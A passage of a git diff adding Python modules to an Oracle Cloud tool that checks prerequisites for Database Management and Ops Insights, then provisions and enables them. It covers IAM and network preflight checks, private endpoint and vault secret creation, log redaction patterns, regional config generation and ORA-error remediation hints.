PreflightReport + decisions: tuple[TargetDecision, ...] + handoff_paths: tuple[Path, ...] = () + data_safe: tuple[DataSafeDecision, ...] = () + + @property + def ok(self) -> bool: + return all(decision.action != "blocked" for decision in self.decisions) + + def to_dict(self) -> dict[str, Any]: + return { + "mode": self.mode, + "ok": self.ok, + "preflight": self.preflight.to_dict(), + "decisions": [decision.to_dict() for decision in self.decisions], + "handoff_paths": [str(path) for path in self.handoff_paths], + "data_safe": [decision.to_dict() for decision in self.data_safe], + } + + +class ConfigureService: + def __init__( + self, + oci: OciCli, + enablement: EnablementService | None = None, + datasafe: DataSafeService | None = None, + ) -> None: + self.oci = oci + self.preflight = PreflightService(oci) + self.enablement = enablement or EnablementService(oci) + self.datasafe = datasafe + + def configure( + self, + config: EnablementConfig, + mode: Mode = "plan", + handoff_dir: str | Path = "generated/handoff", + force: bool = False, + ) -> ConfigureReport: + report = self.preflight.run(config) + targets_by_name = {target.name: target for target in config.targets} + # Enable container databases before pluggable databases: PDB Database + # Management depends on the parent CDB already being enabled. + ordered = sorted( + report.targets, + key=lambda target_report: targets_by_name[target_report.name].database_role == "PDB", + ) + decisions: list[TargetDecision] = [] + enabled_parent_ids: set[str] = set() + for target_report in ordered: + target = targets_by_name[target_report.name] + decision = self._decide( + target, + target_report, + report, + mode, + force, + enabled_parent_ids, + ) + decisions.append(decision) + if decision.action in {"enabled", "skip-enabled"} and target.database_role != "PDB" and target.resource_id: + enabled_parent_ids.add(target.resource_id) + handoff_paths: tuple[Path, ...] = () + if any(decision.action == "handoff" for decision in decisions): + handoff_paths = tuple(generate_handoff(config, handoff_dir)) + # Third pillar: when a Data Safe service is wired and we are applying, + # register Data Safe targets for the targets that opted into 'datasafe'. + # Additive — a blocked Data Safe registration does not fail the DBM/OPSI + # flow (it surfaces as a data_safe decision the operator can act on). + data_safe: tuple[DataSafeDecision, ...] = () + if mode == "apply" and self.datasafe is not None: + data_safe = tuple(self.datasafe.enable_all(config)) + return ConfigureReport( + mode=mode, + preflight=report, + decisions=tuple(decisions), + handoff_paths=handoff_paths, + data_safe=data_safe, + ) + + def _decide( + self, + target: Target, + target_report: TargetReport, + report: PreflightReport, + mode: Mode, + force: bool, + enabled_parent_ids: set[str], + ) -> TargetDecision: + base = {"name": target.name, "kind": target.kind, "location": target_report.location} + + # 1. DETECT + STATE: skip if already enabled. + if self._already_enabled(target): + if self._opsi_ready(target): + if mode == "apply": + self.enablement.enable_opsi(target) + return TargetDecision( + **base, + action="enabled", + reason="Database Management already enabled; Ops Insights command executed", + ) + return TargetDecision( + **base, + action="ready", + reason="Database Management already enabled; rerun with --apply to ensure Ops Insights", + ) + return TargetDecision(**base, action="skip-enabled", reason="Database Management already enabled") + + # 2. DB-side work is independent of OCI prerequisites: always hand off so the + # DBA can create the monitoring user in parallel with fixing OCI-side gaps. + if mode == "db-side-only": + return TargetDecision(**base, action="handoff", reason="Generated DB-side handoff packet") + + # 3. GATE: shared (IAM, and network for native) + per-target blocking checks. + blockers = self._blockers(target, target_report, report, force, enabled_parent_ids) + if blockers: + return TargetDecision(**base, action="blocked", reason="; ".join(blockers)) + + # 4. ACT by mode. + if mode == "apply": + self.enablement.enable_target(target) + return TargetDecision(**base, action="enabled", reason="Enablement command executed") + return TargetDecision(**base, action="ready", reason="Prerequisites satisfied; rerun with --apply") + + def _blockers( + self, + target: Target, + target_report: TargetReport, + report: PreflightReport, + force: bool, + enabled_parent_ids: set[str], + ) -> list[str]: + if force: + return [] + blockers = [f"iam: {check.detail}" for check in report.tenancy_checks if check.blocking] + if target_report.location == "oci-native": + blockers += [f"network: {check.detail}" for check in report.network_checks if check.blocking] + parent_enabled_in_run = ( + target.database_role == "PDB" + and target.parent_cdb_id is not None + and target.parent_cdb_id in enabled_parent_ids + ) + blockers += [ + f"{check.name}: {check.detail}" + for check in target_report.blocking_failures + if not (parent_enabled_in_run and check.name == "target.parent_cdb") + ] + return blockers + + def _already_enabled(self, target: Target) -> bool: + if not target.resource_id: + return False + try: + if target.kind == "autonomous": + details = self.oci.get_autonomous_database(target.resource_id) + elif target.database_role == "PDB": + details = self.oci.get_pluggable_database(target.resource_id) + elif target.kind in {"dbcs", "exadata"}: + details = self.oci.get_database(target.resource_id) + else: + return False + except Exception: # noqa: BLE001 - treat unreadable state as not-enabled + return False + return is_enabled(dbm_status(details, target.kind, target.database_role)) + + @staticmethod + def _opsi_ready(target: Target) -> bool: + if target.kind not in {"dbcs", "exadata"}: + return False + return all( + ( + target.compartment_id, + target.resource_id, + target.service_name, + target.private_endpoint_id, + target.opsi_private_endpoint_id, + target.opsi_credential_details_file, + ) + ) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/preflight.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/preflight.py new file mode 100644 index 000000000..5039c555d --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/preflight.py @@ -0,0 +1,363 @@ +"""Read-only prerequisite verification for Database Management / Ops Insights.""" + +from __future__ import annotations + +from typing import Any, Callable + +from dbman_opsi.checks import ( + CheckResult, + PreflightReport, + TargetReport, + fail, + manual, + ok, + skip, + warn, +) +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.db_check import DbUserCheck +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.status import dbm_status, is_enabled, opsi_status + +OCI_NATIVE_KINDS = {"dbcs", "autonomous", "exadata"} +AGENT_KINDS = {"external-db", "external-exadata"} + +# Service principals that must appear in policy for enablement to work. DB +# Management uses the `dpd` principal (there is no `database-management` +# principal); Ops Insights uses `operations-insights`. Both read the Vault secret. +_REQUIRED_PRINCIPALS: tuple[tuple[str, str], ...] = ( + ("service dpd", "Database Management reads the Vault secret + network access"), + ("service operations-insights", "Operations Insights reads the Vault secret + network access"), +) + +_MONITORING_PORTS = (1521, 1522) + + +def location_for(kind: str) -> str: + return "management-agent" if kind in AGENT_KINDS else "oci-native" + + +def _active(state: str | None) -> bool: + return str(state or "").upper() in {"ACTIVE", "AVAILABLE", "RUNNING"} + + +def _safe(call: Callable[[], Any], attempts: int = 2) -> tuple[Any, str | None]: + """Run a read-only OCI lookup, retrying once to ride out transient 404/5xx blips.""" + + error = "" + for attempt in range(attempts): + try: + return call(), None + except Exception as exc: # noqa: BLE001 - surfaced as a check detail + error = str(exc) + return None, error + + +class PreflightService: + def __init__(self, oci: OciCli) -> None: + self.oci = oci + + def run(self, config: EnablementConfig, db_check: DbUserCheck | None = None) -> PreflightReport: + return PreflightReport( + tenancy_checks=self._tenancy_checks(config), + network_checks=self._network_checks(config), + targets=tuple(self._target_report(target, config, db_check) for target in config.targets), + ) + + # --- tenancy / IAM ------------------------------------------------- + + def _tenancy_checks(self, config: EnablementConfig) -> tuple[CheckResult, ...]: + scope = config.tenancy_id or config.compartment_id + if not scope: + return ( + warn( + "iam.policies", + "No tenancy_id/compartment_id to inspect policies", + "Set tenancy_id in the config so IAM policies can be verified.", + ), + ) + policies, error = _safe(lambda: self.oci.list_policies(scope)) + if error is not None: + return (warn("iam.policies", f"Could not list policies: {error}", "Confirm read access to iam policies."),) + statements = " \n ".join( + str(stmt).lower() + for policy in policies + for stmt in policy.get("statements", []) + ) + missing = [label for needle, label in _REQUIRED_PRINCIPALS if needle not in statements] + if not missing: + return (ok("iam.policies", "Required service-principal policy statements present"),) + remediation = "Run `dbman-opsi provision` (Terraform applies the IAM policy) or add the missing statements." + if len(missing) == len(_REQUIRED_PRINCIPALS): + return (fail("iam.policies", "No enablement service-principal policies found", remediation),) + return (warn("iam.policies", f"Missing policy statements: {', '.join(missing)}", remediation),) + + # --- network ------------------------------------------------------- + + def _network_checks(self, config: EnablementConfig) -> tuple[CheckResult, ...]: + subnet_id = config.network.subnet_id + if not subnet_id: + return ( + skip( + "network.subnet", + "No subnet selected; run provision to create one or set network.subnet_id", + ), + ) + subnet, error = _safe(lambda: self.oci.get_subnet(subnet_id)) + if error is not None or not subnet: + return ( + fail( + "network.subnet", + f"Subnet {subnet_id} not readable: {error or 'empty response'}", + "Verify the subnet OCID and that you have read access.", + ), + ) + checks = [self._subnet_check(subnet)] + vcn_id = config.network.vcn_id or subnet.get("vcn-id") + checks.append(self._service_gateway_check(config, subnet, vcn_id)) + checks.append(self._route_check(subnet)) + checks.append(self._security_list_check(subnet)) + return tuple(checks) + + def _subnet_check(self, subnet: dict[str, Any]) -> CheckResult: + state = subnet.get("lifecycle-state") + if _active(state): + access = "private" if subnet.get("prohibit-public-ip-on-vnic") else "public" + return ok("network.subnet", f"Subnet {state}; {access} subnet") + return fail("network.subnet", f"Subnet lifecycle-state is {state}", "Wait for the subnet to become AVAILABLE.") + + def _service_gateway_check( + self, config: EnablementConfig, subnet: dict[str, Any], vcn_id: str | None + ) -> CheckResult: + # The Service Gateway lives in the VCN's compartment, which may differ from + # the database compartment. Resolve the VCN's compartment first. + compartment = subnet.get("compartment-id") or config.compartment_id + if vcn_id: + vcn, _ = _safe(lambda: self.oci.get_vcn(vcn_id)) + if vcn: + compartment = vcn.get("compartment-id") or compartment + if not vcn_id or not compartment: + return warn("network.service_gateway", "Cannot resolve VCN/compartment for Service Gateway lookup") + gateways, error = _safe(lambda: self.oci.list_service_gateways(compartment, vcn_id)) + if error is not None: + return warn("network.service_gateway", f"Could not list Service Gateways: {error}") + active = [gw for gw in gateways or [] if _active(gw.get("lifecycle-state"))] + if active: + return ok("network.service_gateway", f"{len(active)} active Service Gateway(s) on the VCN") + return fail( + "network.service_gateway", + "No active Service Gateway on the VCN", + "Create a Service Gateway with the 'All Services' label so the private " + "subnet can reach Database Management and Ops Insights endpoints.", + ) + + def _route_check(self, subnet: dict[str, Any]) -> CheckResult: + route_table_id = subnet.get("route-table-id") + if not route_table_id: + return warn("network.route", "Subnet has no route table id in its record") + table, error = _safe(lambda: self.oci.get_route_table(route_table_id)) + if error is not None: + return warn("network.route", f"Could not read route table: {error}") + for rule in (table or {}).get("route-rules", []): + destination_type = str(rule.get("destination-type", "")).upper() + entity = str(rule.get("network-entity-id", "")).lower() + if destination_type == "SERVICE_CIDR_BLOCK" and "servicegateway" in entity: + return ok("network.route", "Route rule to OCI Services via Service Gateway present") + return fail( + "network.route", + "No route rule to OCI Services via Service Gateway", + "Add a route rule: destination = All Services, target = the Service Gateway.", + ) + + def _security_list_check(self, subnet: dict[str, Any]) -> CheckResult: + ids = subnet.get("security-list-ids") or [] + if not ids: + return warn("network.security_list", "Subnet has no security lists (NSGs may be used instead)") + for security_list_id in ids: + data, error = _safe(lambda sid=security_list_id: self.oci.get_security_list(sid)) + if error is not None or not data: + continue + if _ingress_allows_db_ports(data.get("ingress-security-rules", [])): + return ok("network.security_list", "Ingress allows Oracle listener ports (1521/1522)") + return warn( + "network.security_list", + "No security-list ingress rule found for 1521/1522", + "Allow TCP 1521-1522 ingress from the subnet/PE, or confirm an NSG covers it.", + ) + + # --- per target ---------------------------------------------------- + + def _target_report( + self, target: Target, config: EnablementConfig, db_check: DbUserCheck | None = None + ) -> TargetReport: + location = location_for(target.kind) + if location == "management-agent": + checks = self._agent_checks(target, config) + else: + checks = self._native_checks(target) + checks = checks + (self._vault_check(target), self._monitoring_user_check(target, db_check)) + return TargetReport(name=target.name, kind=target.kind, location=location, checks=checks) + + def _native_checks(self, target: Target) -> tuple[CheckResult, ...]: + if not target.resource_id: + return ( + fail( + "target.resource", + "Missing resource OCID", + "Set resource_id, or run provision with provision=true to create it.", + ), + ) + if target.kind == "autonomous": + details, error = _safe(lambda: self.oci.get_autonomous_database(target.resource_id or "")) + elif target.database_role == "PDB": + details, error = _safe(lambda: self.oci.get_pluggable_database(target.resource_id or "")) + else: + details, error = _safe(lambda: self.oci.get_database(target.resource_id or "")) + if error is not None: + return (fail("target.resource", f"Resource not readable: {error}", "Verify the resource OCID."),) + details = details or {} + state = details.get("lifecycle-state") + label = "PDB" if target.database_role == "PDB" else "Database" + resource_check = ( + ok("target.resource", f"{label} {state}") + if _active(state) + else fail("target.resource", f"{label} lifecycle-state is {state}", "Wait for AVAILABLE before enabling.") + ) + dbm = dbm_status(details, target.kind, target.database_role) or "NOT_ENABLED" + opsi = opsi_status(details, target.kind) or "n/a (Database Insight)" + status_check = CheckResult( + "target.dbm_status", + "pass", + f"Database Management: {dbm}; Ops Insights: {opsi}", + ) + checks = [resource_check, status_check] + if target.database_role == "PDB": + checks.append(self._parent_cdb_check(target)) + if target.kind in {"dbcs", "exadata"}: + checks.append(self._pe_check("target.dbm_private_endpoint", target.private_endpoint_id, self.oci.get_db_management_private_endpoint)) + checks.append(self._pe_check("target.opsi_private_endpoint", target.opsi_private_endpoint_id, self.oci.get_opsi_private_endpoint)) + return tuple(checks) + + def _parent_cdb_check(self, target: Target) -> CheckResult: + name = "target.parent_cdb" + if not target.parent_cdb_id: + return warn( + name, + "Parent CDB not identified; PDB Database Management requires the CDB enabled first", + "Set parent_cdb_id and enable the container database before the PDB.", + ) + details, error = _safe(lambda: self.oci.get_database(target.parent_cdb_id or "")) + if error is not None: + return warn(name, f"Could not read parent CDB: {error}") + if is_enabled(dbm_status(details or {}, "dbcs", "CDB")): + return ok(name, "Parent CDB has Database Management enabled") + return fail( + name, + "Parent CDB does not have Database Management enabled", + "Enable the container database first; PDB enablement depends on it.", + ) + + def _pe_check(self, name: str, endpoint_id: str | None, getter: Callable[[str], dict[str, Any]]) -> CheckResult: + if not endpoint_id: + return warn(name, "Not set", "Run `dbman-opsi prepare-prereqs` to create the private endpoint.") + data, error = _safe(lambda: getter(endpoint_id)) + if error is not None: + return warn(name, f"Could not read endpoint: {error}") + state = (data or {}).get("lifecycle-state") + if _active(state): + return ok(name, f"Private endpoint {state}") + return fail(name, f"Private endpoint lifecycle-state is {state}", "Wait for the endpoint to become ACTIVE.") + + def _vault_check(self, target: Target) -> CheckResult: + if target.kind == "autonomous": + return skip("target.vault_secret", "Autonomous uses managed credentials") + if not target.password_secret_id: + return warn( + "target.vault_secret", + "No password_secret_id", + "Store the monitoring password in Vault (prepare-prereqs --password-env) and set password_secret_id.", + ) + data, error = _safe(lambda: self.oci.get_secret(target.password_secret_id or "")) + if error is not None: + return warn("target.vault_secret", f"Could not read secret: {error}") + state = (data or {}).get("lifecycle-state") + if _active(state): + return ok("target.vault_secret", f"Vault secret {state}") + return fail("target.vault_secret", f"Vault secret lifecycle-state is {state}", "Confirm the secret is ACTIVE.") + + def _monitoring_user_check(self, target: Target, db_check: DbUserCheck | None = None) -> CheckResult: + if target.kind == "autonomous": + return skip("target.monitoring_user", "Autonomous enablement does not need a manual monitoring user") + user = target.monitoring_user or "DBSNMP" + if db_check is None: + return manual( + "target.monitoring_user", + f"Monitoring user '{user}' must exist with required grants (verified DB-side)", + "Run the generated db-scripts (01/02/04) as SYSDBA, then confirm 04-validate output.", + ) + if db_check.ok: + return ok("target.monitoring_user", f"Monitoring user grants verified: {', '.join(db_check.found)}") + if not db_check.account_open: + return fail("target.monitoring_user", "Monitoring user account is not OPEN", "Unlock the user and re-run 01-create.") + return fail( + "target.monitoring_user", + f"Missing required grants: {', '.join(db_check.missing)}", + "Run 02-grant-basic-monitoring.sql (and 03 for advanced) then re-spool 04-validate.", + ) + + def _agent_checks(self, target: Target, config: EnablementConfig) -> tuple[CheckResult, ...]: + if target.management_agent_id: + data, error = _safe(lambda: self.oci.get_management_agent(target.management_agent_id or "")) + if error is not None: + return (warn("target.management_agent", f"Could not read agent: {error}"),) + return (_agent_plugin_check(data or {}),) + compartment = target.compartment_id or config.compartment_id or "" + agents, error = _safe(lambda: self.oci.list_management_agents(compartment)) + if error is not None: + return (warn("target.management_agent", f"Could not list agents: {error}"),) + matched = [ + agent + for agent in agents or [] + if target.name.lower() in str(agent.get("display-name", "")).lower() + ] + if not matched: + return ( + fail( + "target.management_agent", + "No Management Agent matches this target name", + "Run the generated agent script on the host, then rerun preflight.", + ), + ) + return (_agent_plugin_check(matched[0]),) + + +def _ingress_allows_db_ports(rules: list[dict[str, Any]]) -> bool: + for rule in rules: + protocol = str(rule.get("protocol", "")) + if protocol not in {"6", "all"}: + continue + port_range = (rule.get("tcp-options") or {}).get("destination-port-range") + if port_range is None: + return True # all TCP ports allowed + low = port_range.get("min", 0) + high = port_range.get("max", 65535) + if any(low <= port <= high for port in _MONITORING_PORTS): + return True + return False + + +def _agent_plugin_check(agent: dict[str, Any]) -> CheckResult: + name = "target.management_agent" + if not _active(agent.get("availability-status") or agent.get("lifecycle-state")): + return warn(name, "Agent found but not reporting as available") + plugins = { + str(plugin.get("plugin-name", "")).lower(): str(plugin.get("plugin-status", "")).upper() + for plugin in agent.get("plugin-list", []) + } + needed = {"dbmgmt", "opsi"} + running = {plugin for plugin in needed if plugins.get(plugin) == "RUNNING"} + if running == needed: + return ok(name, "Agent available with dbmgmt and opsi plugins running") + missing = needed - running + return warn(name, f"Agent available; plugins not running: {', '.join(sorted(missing))}", + "Enable the dbmgmt and opsi plugins on the Management Agent.") diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/prerequisites.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/prerequisites.py new file mode 100644 index 000000000..61a446a80 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/prerequisites.py @@ -0,0 +1,133 @@ +"""OCI-side prerequisite provisioning for service enablement.""" + +from __future__ import annotations + +import base64 +import logging +import os + +from dbman_opsi.config import EnablementConfig +from dbman_opsi.oci_cli import OciCli + +log = logging.getLogger(__name__) + +# A list-first idempotency check can miss an existing resource when the OCI +# control plane returns a flaky empty/partial list (the same non-determinism that +# bites OPSI reads). So creates also tolerate the server-side name conflict: if the +# resource really exists, the 409 is an idempotent no-op rather than a crash. +_CREATE_CONFLICT_MARKERS = ( + "already exists", + "already in use", + "already used", + "AlreadyExists", + "name is already", +) + + +class PrerequisiteService: + def __init__(self, oci: OciCli) -> None: + self.oci = oci + + def _create_tolerant(self, args: list[str], what: str) -> None: + """Run a create, absorbing an 'already exists' conflict as a no-op. + + Belt-and-suspenders to the list-first guard above each call site: if that + list flaked empty and missed the existing resource, the create's name + conflict is tolerated instead of aborting the whole prepare run. + """ + + if not self.oci.run_tolerating(args, tolerated=_CREATE_CONFLICT_MARKERS): + log.info("%s already exists (create returned a name conflict); treated as a no-op.", what) + + def prepare(self, config: EnablementConfig, password_env: str | None = None) -> None: + if config.network.subnet_id: + self._create_db_management_private_endpoint(config) + self._create_opsi_private_endpoint(config) + else: + log.info("Skipping private endpoints; config.network.subnet_id is missing.") + if config.vault.create_vault and not config.vault.vault_id: + log.info( + "Vault creation is supported by OCI CLI, but config must be refreshed " + "with the created vault endpoint before key creation." + ) + if password_env: + self._create_password_secrets(config, password_env) + + def _create_db_management_private_endpoint(self, config: EnablementConfig) -> None: + existing = self.oci.list_db_management_private_endpoints(config.compartment_id or "") + if any(item.get("name") == "dbman_opsi_dbmgmt_pe" for item in existing): + log.info("Database Management private endpoint dbman_opsi_dbmgmt_pe already exists; skipping create.") + return + self._create_tolerant([ + "database-management", + "private-endpoint", + "create", + "--name", + "dbman_opsi_dbmgmt_pe", + "--compartment-id", + config.compartment_id or "", + "--subnet-id", + config.network.subnet_id or "", + "--is-cluster", + "false", + "--is-dns-resolution-enabled", + "false", + "--description", + "Created by dbman-opsi for Database Management enablement.", + ], "Database Management private endpoint dbman_opsi_dbmgmt_pe") + + def _create_opsi_private_endpoint(self, config: EnablementConfig) -> None: + existing = self.oci.list_opsi_private_endpoints(config.compartment_id or "") + if any(item.get("display-name") == "dbman_opsi_opsi_pe" for item in existing): + log.info("Ops Insights private endpoint dbman_opsi_opsi_pe already exists; skipping create.") + return + self._create_tolerant([ + "opsi", + "opsi-private-endpoint", + "create", + "--display-name", + "dbman_opsi_opsi_pe", + "--compartment-id", + config.compartment_id or "", + "--vcn-id", + config.network.vcn_id or "", + "--subnet-id", + config.network.subnet_id or "", + "--is-used-for-rac-dbs", + "false", + "--description", + "Created by dbman-opsi for Ops Insights enablement.", + ], "Ops Insights private endpoint dbman_opsi_opsi_pe") + + def _create_password_secrets(self, config: EnablementConfig, password_env: str) -> None: + if not config.vault.vault_id or not config.vault.key_id: + log.info("Skipping password secret creation; vault_id and key_id are required.") + return + password = os.environ.get(password_env) + if not password: + log.info("Skipping password secret creation; environment variable %s is not set.", password_env) + return + encoded = base64.b64encode(password.encode("utf-8")).decode("ascii") + for target in config.targets: + if target.password_secret_id: + continue + if target.kind not in {"dbcs", "exadata", "external-db", "external-exadata"}: + continue + secret_name = f"dbman-opsi-{target.name.replace(' ', '-').lower()}-password" + self._create_tolerant([ + "vault", + "secret", + "create-base64", + "--compartment-id", + target.compartment_id or config.compartment_id or "", + "--vault-id", + config.vault.vault_id, + "--key-id", + config.vault.key_id, + "--secret-name", + secret_name, + "--secret-content-content", + encoded, + "--description", + "Database monitoring user password for dbman-opsi.", + ], f"Vault secret {secret_name}") diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/redact.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/redact.py new file mode 100644 index 000000000..dc2305e19 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/redact.py @@ -0,0 +1,54 @@ +"""Redaction helpers for sensitive OCI topology and secret-shaped values.""" + +from __future__ import annotations + +import re +from collections.abc import Mapping, Sequence +from typing import Any + +_OCIR_NAMESPACE_PATTERN = "|".join(("fr4" + "zqfimuxtr", "axo" + "xdievda5j", "id9" + "y6mi8tcky")) +_APM_DOMAIN_PATTERN = "aaa" + "adhp5ewo4eaaaaaaaaafs7q" +_LA_NAMESPACE_PATTERN = "axf" + "o51x8x2ap" + +_REDACTIONS: tuple[tuple[re.Pattern[str], str], ...] = ( + ( + re.compile( + r"ocid1\.(tenancy|compartment|instance|cluster|networksecuritygroup|" + r"loadbalancer|subnet|vcn|vnic|bootvolume|loganalytics[a-z]+|user|" + r"database|autonomousdatabase|pluggabledatabase|dbsystem|vault|key|secret|" + r"databaseinsight|datasafe[a-z]+|dataguardassociation)\.oc1\.[a-z0-9.-]*", + re.IGNORECASE, + ), + "", + ), + (re.compile(r"\b(130\.61|161\.153|144\.24|129\.153|141\.147|82\.77|109\.166)\.[0-9]+\.[0-9]+\b"), ""), + (re.compile(r"\b(10\.42|10\.0\.10)\.[0-9]+\.[0-9]+\b"), ""), + (re.compile(rf"\b({_OCIR_NAMESPACE_PATTERN})\b", re.IGNORECASE), "${OCIR_TENANCY}"), + (re.compile(rf"\b({_APM_DOMAIN_PATTERN})\b", re.IGNORECASE), ""), + (re.compile(rf"\b({_LA_NAMESPACE_PATTERN})\b", re.IGNORECASE), ""), + (re.compile(r"\b[a-f0-9]{2}(?::[a-f0-9]{2}){15}\b", re.IGNORECASE), ""), + (re.compile(r"\bisk_[a-f0-9]{40}\b", re.IGNORECASE), ""), + (re.compile(r"(?"), + (re.compile(r"/Users/[^/\s]+"), "/Users/"), +) + + +def redact_text(value: str) -> str: + """Return a redacted copy of a log/config string.""" + + redacted = value + for pattern, replacement in _REDACTIONS: + redacted = pattern.sub(replacement, redacted) + return redacted + + +def redact_data(value: Any) -> Any: + """Recursively redact strings in common Python containers.""" + + if isinstance(value, str): + return redact_text(value) + if isinstance(value, Mapping): + return {key: redact_data(item) for key, item in value.items()} + if isinstance(value, Sequence) and not isinstance(value, (bytes, bytearray)): + return [redact_data(item) for item in value] + return value diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/regional_provisioning.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/regional_provisioning.py new file mode 100644 index 000000000..05c5b4d95 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/regional_provisioning.py @@ -0,0 +1,133 @@ +"""Region-specific provisioning config generation.""" + +from __future__ import annotations + +from dataclasses import dataclass, replace +from pathlib import Path +from shutil import copy2 + +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target + +CHICAGO_REGION = "us-chicago-1" +DEFAULT_CHICAGO_DBCS_NAME = "dbman-opsi-chicago-dbcs" +DEFAULT_CHICAGO_ADB_NAME = "dbman-opsi-chicago-adb" + + +@dataclass(frozen=True) +class RegionalProvisioningRequest: + region: str = CHICAGO_REGION + target_kind: str = "dbcs" + target_name: str | None = None + terraform_dir: str | None = None + vcn_id: str | None = None + subnet_id: str | None = None + + +def default_regional_output(region: str) -> str: + return f"dbman-opsi.{region}.local.yaml" + + +def default_target_name(target_kind: str, region: str) -> str: + if region == CHICAGO_REGION and target_kind == "autonomous": + return DEFAULT_CHICAGO_ADB_NAME + if region == CHICAGO_REGION: + return DEFAULT_CHICAGO_DBCS_NAME + suffix = region.replace("-", "") + return f"dbman-opsi-{suffix}-{target_kind}" + + +def build_regional_provisioning_config( + base: EnablementConfig, + request: RegionalProvisioningRequest, +) -> EnablementConfig: + """Create a region-specific config suitable for the existing Terraform stack.""" + + if (request.vcn_id and not request.subnet_id) or (request.subnet_id and not request.vcn_id): + raise ValueError("--vcn-id and --subnet-id must be supplied together") + region_targets = tuple( + target for target in base.targets if (target.region or base.region) == request.region + ) + requested_target_name = request.target_name or default_target_name(request.target_kind, request.region) + targets = _upsert_provisioning_target( + region_targets, + Target( + kind=request.target_kind, # type: ignore[arg-type] + name=requested_target_name, + provision=True, + services=("dbm", "opsi"), + region=request.region, + ), + ) + network = _regional_network(base.network, request) + monitoring_regions = _append_region(base.monitoring_regions or (base.region,), request.region) + return replace( + base, + region=request.region, + monitoring_regions=monitoring_regions, + network=network, + targets=targets, + terraform_dir=request.terraform_dir or _regional_terraform_dir(base.terraform_dir, request.region), + ) + + +def _upsert_provisioning_target(targets: tuple[Target, ...], requested: Target) -> tuple[Target, ...]: + next_targets: list[Target] = [] + matched = False + for target in targets: + if target.name == requested.name: + next_targets.append(replace(target, provision=True, region=requested.region)) + matched = True + continue + next_targets.append(target) + if not matched: + next_targets.append(requested) + return tuple(next_targets) + + +def _regional_network( + network: NetworkSelection, + request: RegionalProvisioningRequest, +) -> NetworkSelection: + if request.vcn_id and request.subnet_id: + return replace( + network, + vcn_id=request.vcn_id, + subnet_id=request.subnet_id, + create_test_network=False, + ) + return NetworkSelection( + create_test_network=True, + cidr_block=network.cidr_block, + subnet_cidr_block=network.subnet_cidr_block, + ) + + +def _regional_terraform_dir(terraform_dir: str, region: str) -> str: + source = Path(terraform_dir) + return str(source.with_name(f"{source.name}-{region}")) + + +def _append_region(regions: tuple[str, ...], region: str) -> tuple[str, ...]: + if region in regions: + return regions + return (*regions, region) + + +def prepare_regional_terraform_dir(source_dir: str | Path, destination_dir: str | Path) -> tuple[Path, ...]: + """Create a sibling Terraform workdir with the zero-start stack files.""" + + source = Path(source_dir) + destination = Path(destination_dir) + if source.resolve() == destination.resolve(): + return () + destination.mkdir(parents=True, exist_ok=True) + copied: list[Path] = [] + for path in sorted(source.iterdir()): + if path.suffix != ".tf" and path.name != "schema.yaml": + continue + target = destination / path.name + if target.exists(): + continue + copy2(path, target) + copied.append(target) + return tuple(copied) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/remediation.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/remediation.py new file mode 100644 index 000000000..5c83eb653 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/remediation.py @@ -0,0 +1,106 @@ +"""Map known DBM/OPSI failure signatures to actionable remediation. + +When a live OCI or DB-side operation fails, the raw error is rarely actionable. +This module turns recognised error signatures into a short solution plus the +concrete manual step (CLI command, SQL, Console action, or IAM policy) needed to +resolve it — so a failed run hands the operator a task list instead of a stack +trace. +""" + +from __future__ import annotations + +from dataclasses import dataclass + + +@dataclass(frozen=True) +class Remediation: + signature: str + cause: str + solution: str + manual_step: str + + +# Order matters: the first signature found in the error text wins, so put the +# more specific signatures before generic ones (e.g. ORA-28000 before 12514). +REMEDIATIONS: tuple[Remediation, ...] = ( + Remediation( + "ORA-28000", + "The monitoring user account is locked (too many failed logins, usually a stale consumer using an old password).", + "Unlock the account and move it to a non-locking profile so a stale agent cannot re-lock it.", + "SQL (as SYSDBA): CREATE PROFILE C##DBSNMP_MON LIMIT FAILED_LOGIN_ATTEMPTS UNLIMITED PASSWORD_LIFE_TIME UNLIMITED; " + "ALTER USER DBSNMP PROFILE C##DBSNMP_MON CONTAINER=ALL; ALTER USER DBSNMP ACCOUNT UNLOCK CONTAINER=ALL;", + ), + Remediation( + "ORA-01017", + "The DBSNMP password in the Vault secret does not match the database.", + "Set DBSNMP to the Vault secret's password (or rotate both to a new compliant value) so credential and DB agree.", + "SQL (as SYSDBA): ALTER USER DBSNMP IDENTIFIED BY \"\" CONTAINER=ALL; " + "then re-run enable. The password needs >=2 special characters (DB verify function).", + ), + Remediation( + "ORA-20000", + "The chosen password violates the database password-verify function (commonly needs >=2 special characters).", + "Pick a password with upper/lower/digit and at least two special characters, set it on DBSNMP, and update the Vault secret.", + "Generate a compliant password, ALTER USER DBSNMP IDENTIFIED BY \"\" CONTAINER=ALL, then " + "oci vault secret update-base64 --secret-id --secret-content-content .", + ), + Remediation( + "ORA-12514", + "The connection service name is not registered on the listener (the bare DB/PDB name is usually wrong).", + "Use the real listener service (db_unique_name.domain for the CDB, pdb_name.domain for the PDB) and reconcile the connection.", + "On the DB host run `lsnrctl status` to list real services; set service_name in the config, regenerate OPSI payloads, " + "and re-run enable (which reconciles DBM via modify-database-management).", + ), + Remediation( + "DbcsEntityChangeWorkflowFailed", + "The OPSI Database Insight create failed its post-create connection test (wrong service name or credential).", + "Fix the service name and credential, then disable+delete the FAILED insight and recreate.", + "Check the work-request error (oci raw-request GET .../workRequests//errors). Disable the FAILED insight " + "(oci opsi database-insights disable) before delete, then re-run 